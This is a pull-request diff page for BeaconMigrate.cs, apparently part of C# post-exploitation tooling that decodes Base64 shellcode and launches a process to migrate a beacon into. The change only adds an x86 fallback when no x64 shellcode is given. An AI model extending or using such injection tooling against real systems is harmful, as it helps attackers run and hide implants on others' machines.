Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
11 changes: 9 additions & 2 deletions BeaconMigrate.cs
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,14 @@ public void Migrate(string x86, string x64, string processpath)
}
else
{
s = x64;
// X64 platform but we cannot support x64 in shellcode
if (x64.Equals(String.Empty))
{
s = x86;
}else
{
s = x64;
}
}

byte[] shellcode = Convert.FromBase64String(s);
Expand Down Expand Up @@ -185,4 +192,4 @@ public static extern bool CreateProcess(string lpApplicationName, string lpComma


}